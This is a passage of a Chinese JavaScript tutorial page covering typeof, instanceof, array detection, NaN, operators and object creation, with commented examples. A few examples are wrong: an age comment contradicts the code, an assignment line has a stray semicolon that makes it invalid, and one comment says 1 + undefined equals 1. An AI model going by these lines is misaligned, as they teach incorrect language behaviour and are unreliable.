class="keyword">typeof</span> <span class="literal">false</span>; <span class="comment">// boolean</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> <span class="literal">undefined</span>; <span class="comment">// undefined</span></span><br><span class="line"><span class="keyword">typeof</span> a; <span class="comment">// undefined</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;&#125;; <span class="comment">// function</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;&#125; <span class="comment">// function</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="variable language_">console</span>.<span class="property">log</span> <span class="comment">// function</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> []; <span class="comment">// object -- 在 JavaScript 中数组即对象</span></span><br><span class="line"><span class="keyword">typeof</span> &#123;&#125;; <span class="comment">// object</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="literal">null</span>; <span class="comment">// object -- null 是一个只有一个值的数据类型，这个值就是 null。表示一个空指针对象</span></span><br><span class="line"><span class="keyword">typeof</span> <span class="keyword">new</span> <span class="title class_">Date</span>(); <span class="comment">// object</span></span><br><span class="line"></span><br><span class="line"><span class="title function_">typeof</span> (<span class="string">&#x27;&#x27;</span>); <span class="comment">// string</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typeof</span> /[<span class="number">0</span>-<span class="number">9</span>]/; <span class="comment">// object</span></span><br></pre></td></tr></table></figure><p><strong><code>注意：您无法使用 typeof 去判断 JavaScript 对象是否是数组（或日期）</code></strong></p><h4 id="instanceof"><a href="#instanceof" class="headerlink" title="instanceof"></a>instanceof</h4><p><strong>作用：</strong>用于判断一个变量是否属于某个对象的实例</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> a = [];</span><br><span class="line">a <span class="keyword">instanceof</span> <span class="title class_">Array</span>; <span class="comment">// true</span></span><br><span class="line"><span class="comment">// a.__proto__ == Array.prototype</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 只要在当前实例的原型链上，用 <span class="keyword">instanceof</span> 检测出来的结果都是 <span class="literal">true</span>，所以在类的原型继承中，最后检测出来的结果未必是正确的，而且 <span class="keyword">instanceof</span> 后面必须跟一个对象</span><br><span class="line"><span class="number">2.</span> 不能检测基本类型</span><br></pre></td></tr></table></figure><h4 id="检测数组"><a href="#检测数组" class="headerlink" title="检测数组"></a>检测数组</h4><p><strong>constructor 属性</strong><br>constructor 属性返回所有 JavaScript 变量的构造器函数</p><p>每个构造函数的原型对象都有一个constructor属性，并且指向构造函数本身，由于我们可以手动修改 这个属性，所以结果也不是很准确。 不能检测null和undefined</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="string">&quot;hello&quot;</span>.<span class="property">constructor</span>                     <span class="comment">// 返回 &quot;function String()  &#123; [native code] &#125;&quot;</span></span><br><span class="line">(<span class="number">3.14</span>).<span class="property">constructor</span>                      <span class="comment">// 返回 &quot;function Number()  &#123; [native code] &#125;&quot;</span></span><br><span class="line"><span class="literal">false</span>.<span class="property">constructor</span>                       <span class="comment">// 返回 &quot;function Boolean() &#123; [native code] &#125;&quot;</span></span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>].<span class="property">constructor</span>                <span class="comment">// 返回 &quot;function Array()   &#123; [native code] &#125;&quot;</span></span><br><span class="line">&#123; <span class="attr">name</span>: <span class="string">&#x27;hello&#x27;</span>, <span class="attr">age</span>: <span class="number">20</span> &#125;.<span class="property">constructor</span>  <span class="comment">// 返回&quot; function Object()  &#123; [native code] &#125;&quot;</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Date</span>().<span class="property">constructor</span>                  <span class="comment">// 返回 &quot;function Date()    &#123; [native code] &#125;&quot;</span></span><br><span class="line"><span class="keyword">function</span> (<span class="params"></span>) &#123;&#125;.<span class="property">constructor</span>              <span class="comment">// 返回 &quot;function Function()&#123; [native code] &#125;&quot;</span></span><br></pre></td></tr></table></figure><p>您可以通过检查 constructor 属性来确定某个对象是否为数组（包含单词 “Array”）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">isArray</span>(<span class="params">arr</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> arr.<span class="property">constructor</span>.<span class="title function_">toString</span>().<span class="title function_">indexOf</span>(<span class="string">&#x27;Array&#x27;</span>) &gt; -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>您可以通过检查 constructor 属性来确定某个对象是否为日期（包含单词 “Date”）</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">isDate</span>(<span class="params">date</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> date.<span class="property">constructor</span>.<span class="title function_">toString</span>().<span class="title function_">indexOf</span>(<span class="string">&#x27;Date&#x27;</span>) &gt; -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Object.prototype.toString.call（检测数组最佳方案）</strong></p><p>调用Object原型上的toString()方法，并且通过call改变this指向，返回的是字符串</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">isArray</span>(<span class="params">arr</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(arr) === <span class="string">&#x27;[object Array]&#x27;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>ES6方法Array.isArray()</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [];</span><br><span class="line"><span class="title class_">Array</span>.<span class="title function_">isArray</span>(arr); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h3 id="NaN-和-isNaN"><a href="#NaN-和-isNaN" class="headerlink" title="NaN 和 isNaN()"></a><strong>NaN 和 isNaN()</strong></h3><p><strong>NaN</strong></p><p>NaN（Not a Number)，即非数值，用于表示一个本来要返回数值的操作数未返回数值的情况</p><p>特点：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 任何涉及<span class="title class_">NaN</span>的操作 (例如 <span class="title class_">NaN</span>/<span class="number">10</span>) 都会返回<span class="title class_">NaN</span></span><br><span class="line"><span class="number">2.</span> <span class="title class_">NaN</span>与任何值都不相等，包括<span class="title class_">NaN</span>本身</span><br></pre></td></tr></table></figure><p><strong>isNaN()函数</strong></p><p>这个函数接受一个参数，该参数可以是任何类型。isNaN()在接收到一个值后，会尝试将这个值转换为数值，而任何不能被转换为数值的值都会导致函数返回true</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="built_in">isNaN</span>(<span class="title class_">NaN</span>); <span class="comment">// true </span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="number">10</span>); <span class="comment">// false（10 是一个数值）</span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="string">&quot;10&quot;</span>); <span class="comment">// false（可以被转换成数值 10）</span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="string">&quot;blue&quot;</span>); <span class="comment">// true（不能转换成数值）</span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="literal">true</span>); <span class="comment">// false（可以被转换成数值 1）</span></span><br></pre></td></tr></table></figure><h2 id="运算符"><a href="#运算符" class="headerlink" title="运算符"></a>运算符</h2><h3 id="算数运算符"><a href="#算数运算符" class="headerlink" title="算数运算符"></a>算数运算符</h3><table><thead><tr><th align="left">运算符</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">+</td><td align="left">加法</td></tr><tr><td align="left">-</td><td align="left">减法</td></tr><tr><td align="left">*</td><td align="left">乘法</td></tr><tr><td align="left">/</td><td align="left">除法</td></tr><tr><td align="left">%</td><td align="left">系数</td></tr><tr><td align="left">++</td><td align="left">递加</td></tr><tr><td align="left">–</td><td align="left">递减</td></tr></tbody></table><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span> + <span class="number">20</span>; <span class="comment">// 30</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;20&#x27;</span> + <span class="string">&#x27;10&#x27;</span>; <span class="comment">// 2010</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;20&#x27;</span> + <span class="number">10</span>; <span class="comment">// 2010</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span> + <span class="string">&#x27;20&#x27;</span>; <span class="comment">// 1020</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span> + <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="title class_">NaN</span> + <span class="number">10</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;10&#x27;</span> + <span class="title class_">NaN</span>; <span class="comment">// 10NaN</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="title class_">NaN</span> + <span class="string">&#x27;10&#x27;</span>; <span class="comment">// NaN10</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="literal">undefined</span> + <span class="number">10</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="literal">true</span> + <span class="number">0</span>; <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">var</span> a = &#123;&#125; + [];  <span class="comment">// 0</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span> + &#123;&#125;;  <span class="comment">// 1[object Object]</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span> + [];  <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="number">1</span> + [<span class="number">2</span>];  <span class="comment">// 12</span></span><br><span class="line"><span class="number">1</span> + [<span class="number">2</span>, <span class="number">3</span>]; <span class="comment">// 12,3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> b = <span class="number">20</span> - <span class="number">10</span>; <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="number">20</span> - <span class="string">&#x27;10&#x27;</span>; <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="string">&#x27;20&#x27;</span> - <span class="number">10</span>; <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="string">&#x27;20&#x27;</span> - <span class="string">&#x27;10&#x27;</span>; <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="number">10</span> - <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="title class_">NaN</span> - <span class="number">10</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="string">&#x27;10&#x27;</span> - <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> b = <span class="title class_">NaN</span> - <span class="string">&#x27;10&#x27;</span>; <span class="comment">// NaN</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> c = <span class="number">10</span> * <span class="number">20</span>; <span class="comment">// 200</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="string">&#x27;10&#x27;</span> * <span class="number">20</span>; <span class="comment">// 200</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="number">10</span> * <span class="string">&#x27;20&#x27;</span>; <span class="comment">// 200</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="number">10</span> * <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="title class_">NaN</span> * <span class="number">10</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="string">&#x27;10&#x27;</span> * <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> c =  <span class="title class_">NaN</span> * <span class="string">&#x27;10&#x27;</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="literal">null</span> * <span class="number">10</span>; <span class="comment">// 0  空值null在数值类型环境中会被当作0来对待，而布尔类型环境中会被当作false</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="literal">true</span> * <span class="number">10</span>; <span class="comment">// 10</span></span><br><span class="line"><span class="keyword">var</span> c = <span class="literal">false</span> * <span class="number">10</span>; <span class="comment">// 0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> d = <span class="number">20</span> / <span class="number">10</span>; <span class="comment">// 2</span></span><br><span class="line"><span class="keyword">var</span> d = <span class="string">&#x27;20&#x27;</span> / <span class="number">10</span>; <span class="comment">// 2</span></span><br><span class="line"><span class="keyword">var</span> d = <span class="number">20</span> / <span class="string">&#x27;10&#x27;</span>; <span class="comment">// 2</span></span><br><span class="line"><span class="keyword">var</span> d = <span class="title class_">NaN</span> / <span class="number">10</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> d = <span class="number">10</span> / <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> d = <span class="string">&#x27;10&#x27;</span> / <span class="title class_">NaN</span>; <span class="comment">// NaN</span></span><br><span class="line"><span class="keyword">var</span> d  = <span class="title class_">NaN</span> / <span class="string">&#x27;10&#x27;</span>; <span class="comment">// NaN</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> b = <span class="number">20</span>;</span><br><span class="line"><span class="keyword">var</span> c = <span class="number">4</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(++b+c+a++); <span class="comment">// 21 + 4 + 10 = 35</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;11&#x27;</span> + <span class="number">2</span> - <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a); <span class="comment">// 111</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">typeof</span> a); <span class="comment">// number</span></span><br></pre></td></tr></table></figure><h3 id="赋值运算符"><a href="#赋值运算符" class="headerlink" title="赋值运算符"></a>赋值运算符</h3><table><thead><tr><th align="left">运算符</th><th align="left">例子</th><th align="left">等同于</th></tr></thead><tbody><tr><td align="left">=</td><td align="left">x = y</td><td align="left">x = y</td></tr><tr><td align="left">+=</td><td align="left">x += y</td><td align="left">x = x + y</td></tr><tr><td align="left">-=</td><td align="left">x -= y</td><td align="left">x = x - y</td></tr><tr><td align="left">*=</td><td align="left">x *= y</td><td align="left">x = x * y</td></tr><tr><td align="left">/=</td><td align="left">x /= y</td><td align="left">x = x / y</td></tr><tr><td align="left">%=</td><td align="left">x %= y</td><td align="left">x = x % y</td></tr></tbody></table><h3 id="比较运算符"><a href="#比较运算符" class="headerlink" title="比较运算符"></a>比较运算符</h3><table><thead><tr><th align="left">运算符</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">==</td><td align="left">等于</td></tr><tr><td align="left">===</td><td align="left">等值等型</td></tr><tr><td align="left">!=</td><td align="left">不相等</td></tr><tr><td align="left">!==</td><td align="left">不等值或不等型</td></tr><tr><td align="left">&gt;</td><td align="left">大于</td></tr><tr><td align="left">&lt;</td><td align="left">小于</td></tr><tr><td align="left">&gt;=</td><td align="left">大于或等于</td></tr><tr><td align="left">&lt;=</td><td align="left">小于或等于</td></tr><tr><td align="left">?</td><td align="left">三元运算符</td></tr></tbody></table><p><code>==</code>会自动转换类型，然后再比较，<code>===</code>不会类型转换，直接比较</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1</span> == <span class="number">1</span>; <span class="comment">// true</span></span><br><span class="line"><span class="number">1</span> == <span class="string">&#x27;1&#x27;</span>; <span class="comment">// true</span></span><br><span class="line"><span class="number">1</span> == <span class="literal">true</span>; <span class="comment">// true</span></span><br><span class="line"><span class="number">0</span> == <span class="literal">false</span>; <span class="comment">// true</span></span><br><span class="line"><span class="number">2</span> == <span class="literal">true</span>; <span class="comment">// false</span></span><br><span class="line"><span class="number">0</span> == <span class="string">&#x27;&#x27;</span>; <span class="comment">// true</span></span><br><span class="line">[] == <span class="number">0</span>;  <span class="comment">// true</span></span><br><span class="line">![] == <span class="number">0</span>;  <span class="comment">// true</span></span><br><span class="line">[] == ![];  <span class="comment">// true</span></span><br><span class="line">[] == [];  <span class="comment">// false</span></span><br><span class="line">[] == <span class="literal">false</span>; <span class="comment">// true</span></span><br><span class="line">&#123;&#125; == &#123;&#125;;  <span class="comment">// false</span></span><br><span class="line">&#123;&#125; == !&#123;&#125;; <span class="comment">// false</span></span><br><span class="line"><span class="title class_">NaN</span> == <span class="title class_">NaN</span>; <span class="comment">// false</span></span><br><span class="line"><span class="literal">undefined</span> == <span class="literal">null</span> <span class="comment">// true</span></span><br><span class="line"><span class="literal">undefined</span> === <span class="literal">null</span> <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="number">1</span> === <span class="number">1</span>; <span class="comment">// true</span></span><br><span class="line"><span class="number">1</span> === <span class="string">&#x27;1&#x27;</span>; <span class="comment">// false</span></span><br><span class="line"><span class="number">1</span> === <span class="literal">true</span>; <span class="comment">// false</span></span><br><span class="line">[] === <span class="number">0</span>  <span class="comment">// false</span></span><br><span class="line">=== <span class="comment">// 先判断左右两边的数据类型，如果数据类型不一致，直接返回 false，之后才会进行两边值的判断</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;1&#x27;</span> &lt; <span class="string">&#x27;2&#x27;</span>; <span class="comment">// true</span></span><br><span class="line"><span class="string">&#x27;1&#x27;</span> &lt; <span class="number">2</span>; <span class="comment">// true</span></span><br><span class="line"><span class="string">&#x27;1&#x27;</span> &gt; <span class="string">&#x27;2&#x27;</span>; <span class="comment">// false</span></span><br><span class="line"><span class="string">&#x27;1&#x27;</span> &gt; <span class="number">2</span>; <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="literal">null</span> == <span class="literal">null</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">null</span> === <span class="literal">null</span>; <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line"><span class="literal">undefined</span> == <span class="literal">undefined</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">undefined</span> === <span class="literal">undefined</span>; <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line"><span class="literal">null</span> == <span class="literal">undefined</span>; <span class="comment">// true</span></span><br><span class="line"><span class="literal">null</span> === <span class="literal">undefined</span>; <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line">!<span class="literal">null</span>; <span class="comment">// true</span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="number">1</span> + <span class="literal">null</span>); <span class="comment">// false  (1 + null = 1 + 0 = 1, null在数值环境转为0) </span></span><br><span class="line"><span class="built_in">isNaN</span>(<span class="number">1</span> + <span class="literal">undefined</span>); <span class="comment">// true (1 + undefined = 1 + NaN = 1, undefined在数值环境转为NaN)</span></span><br><span class="line"></span><br><span class="line"><span class="title class_">NaN</span> == <span class="title class_">NaN</span>; <span class="comment">// false</span></span><br><span class="line"><span class="title class_">NaN</span> === <span class="title class_">NaN</span>; <span class="comment">// false</span></span><br></pre></td></tr></table></figure><h3 id="逻辑运算符"><a href="#逻辑运算符" class="headerlink" title="逻辑运算符"></a>逻辑运算符</h3><table><thead><tr><th align="left">运算符</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">&amp;&amp;</td><td align="left">逻辑与</td></tr><tr><td align="left">||</td><td align="left">逻辑或</td></tr><tr><td align="left">!</td><td align="left">逻辑非</td></tr></tbody></table><p><strong>示例</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="literal">true</span> || <span class="literal">false</span> <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line"><span class="literal">true</span> &amp;&amp; <span class="literal">false</span> <span class="comment">// false</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="string">&#x27;hello&#x27;</span>; <span class="comment">// hello</span></span><br><span class="line">!<span class="string">&#x27;hello&#x27;</span>; <span class="comment">// false</span></span><br><span class="line">!!<span class="string">&#x27;hello&#x27;</span>; <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h2 id="对象"><a href="#对象" class="headerlink" title="对象"></a>对象</h2><h3 id="简介-1"><a href="#简介-1" class="headerlink" title="简介"></a>简介</h3><p><strong>对象：</strong>有<code>属性</code>和<code>方法</code>，具体特指的某个事物</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;张三&#x27;</span>,</span><br><span class="line">    <span class="attr">sayHello</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 上面定义了一个普通对象obj</span></span><br><span class="line"><span class="comment">// name 是属性</span></span><br><span class="line"><span class="comment">// sayHello 是方法，方法的定义：当一个函数是一个对象的属性时，称之为方法</span></span><br></pre></td></tr></table></figure><p>在 JavaScript 中，几乎“所有事物”都是对象。</p><ul><li>布尔是对象（如果用 <em>new</em> 关键词定义）</li><li>数字是对象（如果用 <em>new</em> 关键词定义）</li><li>字符串是对象（如果用 <em>new</em> 关键词定义）</li><li>日期永远都是对象</li><li>算术永远都是对象</li><li>正则表达式永远都是对象</li><li>数组永远都是对象</li><li>函数永远都是对象</li><li>对象永远都是对象</li></ul><p>所有 JavaScript 值，除了原始值，都是对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// JavaScript 原始值：指的是没有属性或方法的值</span></span><br><span class="line">string    number    boolean    <span class="literal">null</span>    <span class="literal">undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">对象是包含变量的变量，对象也是变量</span><br><span class="line">方法是可以在对象上执行的动作</span><br></pre></td></tr></table></figure><p>Javascript中的对象包括：<strong>自定义对象、内置对象、浏览器对象</strong></p><h3 id="对象创建"><a href="#对象创建" class="headerlink" title="对象创建"></a>对象创建</h3><p><strong>字面量创建对象</strong></p><p>注意：方法里的this指向当前对象，能被当前对象直接调用</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">  <span class="attr">name</span>: <span class="string">&#x27;web&#x27;</span>,</span><br><span class="line">  <span class="attr">age</span>: <span class="number">20</span>,</span><br><span class="line">  <span class="attr">sayName</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;my name is &#x27;</span> + <span class="variable language_">this</span>.<span class="property">name</span>); <span class="comment">// 这里this指向当前对象</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">sayName</span>(); <span class="comment">// my name is web</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;&#125;;</span><br><span class="line">obj.<span class="property">name</span> = <span class="string">&#x27;web&#x27;</span>;</span><br><span class="line">obj.<span class="property">age</span> = <span class="number">20</span>;</span><br><span class="line">obj.<span class="property">sayName</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;my name is &#x27;</span> + <span class="variable language_">this</span>.<span class="property">name</span>);</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">sayName</span>() <span class="comment">// my name is web</span></span><br></pre></td></tr></table></figure><p><strong>自定义构造函数创建对象</strong></p><p>注意：构造函数里的this指向当前new出来的实例对象，能被实例对象直接调用</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = age;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">getInfo</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;my name is &#x27;</span> + <span class="variable language_">this</span>.<span class="property">name</span> + <span class="string">&#x27;, my age is &#x27;</span> + <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建对象</span></span><br><span class="line"><span class="keyword">var</span> obj = <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">obj.<span class="property">name</span>; <span class="comment">// Jack</span></span><br><span class="line">obj.<span class="property">age</span>; <span class="comment">// 10</span></span><br><span class="line">obj.<span class="title function_">getInfo</span>(); <span class="comment">// my name is Jack, my age is 20</span></span><br></pre></td></tr></table></figure><p><strong>new Object()创建对象</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> person = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"></span><br><span class="line">person.<span class="property">name</span> = <span class="string">&#x27;Jack&#x27;</span>;</span><br><span class="line">person.<span class="property">age</span> = <span class="number">20</span>;</span><br><span class="line">person.<span class="property">sayHi</span> = <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>工厂方法创建对象</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">createPerson</span>(<span class="params">name, age</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> person = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">  person.<span class="property">name</span> = name;</span><br><span class="line">  person.<span class="property">age</span> = age;</span><br><span class="line">  person.<span class="property">sayHi</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> person;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> p = <span class="title function_">createPerson</span>(<span class="string">&#x27;Jack&#x27;</span>, <span class="number">20</span>);</span><br></pre></td></tr></table></figure><h3 id="对象调用"><a href="#对象调用" class="headerlink" title="对象调用"></a>对象调用</h3><p><strong>设置和获取属性</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">对象属性的调用：obj.<span class="property">name</span>    obj[<span class="string">&#x27;name&#x27;</span>]</span><br><span class="line">对象的方法调用：obj.<span class="title function_">sayHello</span>();</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">  <span class="attr">name</span>: <span class="string">&#x27;Jack&#x27;</span>,</span><br><span class="line">  <span class="attr">age</span>: <span class="number">20</span>,</span><br><span class="line">  <span class="attr">sayHello</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;hello&#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 属性的调用</span></span><br><span class="line">obj.<span class="property">name</span>; <span class="comment">// Jack</span></span><br><span class="line">obj[<span class="string">&#x27;name&#x27;</span>]; <span class="comment">// Jack</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置属性值</span></span><br><span class="line">obj[<span class="string">&#x27;name&#x27;</span>]; = <span class="string">&#x27;Mark&#x27;</span>;</span><br><span class="line">obj[<span class="string">&#x27;name&#x27;</span>]; <span class="comment">// Mark</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 方法的调用</span></span><br><span class="line">obj.<span class="title function_">sayHello</span>(); <span class="comment">// hello</span></span><br><span class="line">obj[<span class="string">&#x27;sayHello&#x27;</span>](); <span class="comment">// hello</span></span><br></pre></td></tr></table></figure><p><strong>obj.attr 与obj[‘attr’] 的区别</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// []可以用变量作为属性名访问，而点不行</span></span><br><span class="line"><span class="comment">// []可以用数字作为属性访问，但点不行</span></span><br><span class="line"><span class="comment">// []可以动态访问属性名，可以在程序运行时创建和修改</span></span><br></pre></td></tr></table></figure><h3 id="对象遍历"><a href="#对象遍历" class="headerlink" title="对象遍历"></a>对象遍历</h3><p>通过for..in语法可以遍历一个对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> key <span class="keyword">in</span> obj) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(key + <span class="string">&quot;==&quot;</span> + obj[key]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>删除对象属性</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">delete</span> obj.<span 